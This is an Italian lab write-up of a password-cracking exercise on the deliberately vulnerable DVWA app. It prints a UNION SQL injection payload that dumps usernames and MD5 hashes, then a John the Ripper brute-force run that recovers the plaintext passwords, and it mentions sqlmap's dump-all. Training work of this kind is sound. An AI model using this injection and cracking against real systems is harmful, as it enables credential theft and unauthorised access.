Cracking delle password

L'esercizio di oggi consiste nel crackare le password salvate nel database della DWVA.

1. ' UNION SELECT user, password FROM users—
   Per prima cosa eseguo una sql injection sulla DVWA, utilizzando il comando scritto sopra. Questo comando mi permette di ottenere nome e password criptata dei vari utenti.

```
ID: ' UNION SELECT user, password FROM users--
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: ' UNION SELECT user, password FROM users--
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03

ID: ' UNION SELECT user, password FROM users--
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: ' UNION SELECT user, password FROM users--
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: ' UNION SELECT user, password FROM users--
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
```

   Scrivo poi un documento, hashes.txt, che contiene gli user e la relativa password seguendo come ordine→ user:password

   La password che otteniamo è un hash MD5, lo possiamo dedurre perché è composto da 32 caratteri e non ha caratteri speciali.

2. John the ripper
   Come tool per crackare le password ho utilizzato John the ripper.

```
┌──(kali㉿kali)-[~/Desktop]
└─$ john -incremental --format=Raw-MD5 hashes.txt
Using default input encoding: UTF-8
Loaded 4 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8×3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
abc123           (gordonb)
charley          (1337)
password         (admin)
letmein          (pablo)
4g 0:00:00:00 DONE (2025-08-07 09:21) 6.060g/s 3869Kp/s 3869Kc/s 4542KC/s letero1..letmish
Warning: passwords printed above might not be all those cracked
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
```

   Quindi utilizzo il brute force, nominando -incremental, in sequenza metto -format=Raw-MD5 per specificare che le password sono hash md5. Eseguo il comando e ottengo le password associate ai vari user. Me ne trova solo 4 anche se gli user sono 5 perché **admin** ha la stessa password di **smithy.**

Un altro metodo per craccare le password è l'utilizzo del tool sqlmap, sfruttando il dump-all si trova tutto il database con le password sia in formato MD5 che decrittografate in chiaro.